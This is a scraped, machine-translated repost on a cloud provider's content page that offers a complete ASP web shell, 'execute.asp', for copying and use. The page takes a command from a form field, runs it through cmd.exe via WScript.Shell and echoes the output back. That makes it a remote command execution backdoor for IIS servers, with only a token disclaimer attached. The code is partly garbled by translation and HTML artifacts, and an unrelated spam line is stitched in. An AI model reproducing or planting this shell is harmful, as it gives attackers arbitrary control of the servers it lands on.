Can execute the system command of the ASP original send

Source: Internet
Author: User
Tags microsoft frontpage

Note that the program must be run with FileSystemObject support. The following is the original code for the Remote execution command.
Copy down to save as execute.asp.




<meta http-equiv= "Content-language" content= "ZH-CN" >
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<meta name= "GENERATOR" content= "Microsoft FrontPage 4.0" >
<meta name= "ProgId" content= "FrontPage.Editor.Document" >
<title> Execute Command </title>
<style>
!--
table,body{font-family: Song Body; font-size:9pt}
a{font-family: Song body; font-size:9pt; Color:rgb (0,32,64);

Text-decoration:none}
a:hover{font-family: Song body; Color:rgb (255,0,0); text-decoration:none

}
a:visited{Color:rgb (128,0,0)}
-->
</style>



<body bgcolor= "#000000" text= "#C0C0C0" >

<form method= "POST" action= "execute.asp" >
<p align= "left" > Enter the command to execute: <input type= "text" name= "ML"

Size= "value=" dir c \ " Apple-converted-space ">

#000000; Border-style:solid; Border-width:1 ">
<input type= "Submit" value= "Execute" name= "B1" Apple-converted-space ">

#C0C0C0; Color: #000000; Border:1 Groove #C0C0C0 "> </p>
</form>
<%
Ml=request.form ("ml")
Cmd= "c:\winnt\system32\cmd.exe/c" &ml& ">c:\whoami.txt" ' Modify

WhoamI.txt path to a directory with write permissions
Set WshShell = Server.CreateObject ("Wscript.Shell")
RetCode = Wshshell.run (cmd, 1, True)
If RetCode = 0 Then
Response.Write ml & ""
Response.Write "Command executed successfully! "&" <br> <br> "
Else
Response.Write "Command execution failed! Insufficient permissions or the program cannot run in DOS state

! "&" <br> <br> "

End If
' Response.Write cmd

function HTMLEncode (str)
Dim result
Dim l
If IsNULL (str) Then
Htmlencode= ""
Exit function
End If
L=len (str)
Result= ""
Dim i
For i = 1 to L
Select Case Mid (str,i,1)
Case ""
Result=result+ ""
Case ">"
Result=result+ ">"
Case Chr (34)
result=result+ "" "
Case "&"
result=result+ "&"
Case Else
Result=result+mid (str,i,1)
End Select
Next
Htmlencode=result
End Function
Set FS =createobject ("Scripting.FileSystemObject")
  Set thisfile = fs. OpenTextFile ("C:/whoami.txt", 1, False) ' Read the file, don't forget&NBSP;

modifies the path.  
Counter=0&NBSP;
do and not Thisfile.atendofstream&NBSP;
Counter=counter+1&NBSP;
thisline= HTMLEncode (thisfile.readline) &NBSP;
Response.Write thisline& "
" Span class= "Apple-converted-space" >&NBSP;
Loop&NBSP;
Thisfile.  Close&NBSP;
Set Fs=nothing&NBSP;
%>&NBSP;

&NBSP;

/html>&NBSP;

Do not use this program for illegal means, and all consequences arising therefrom shall be borne by the user.
Shanghai treatment Impotence Hospital editing and finishing

Can execute the system command of the ASP original send

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.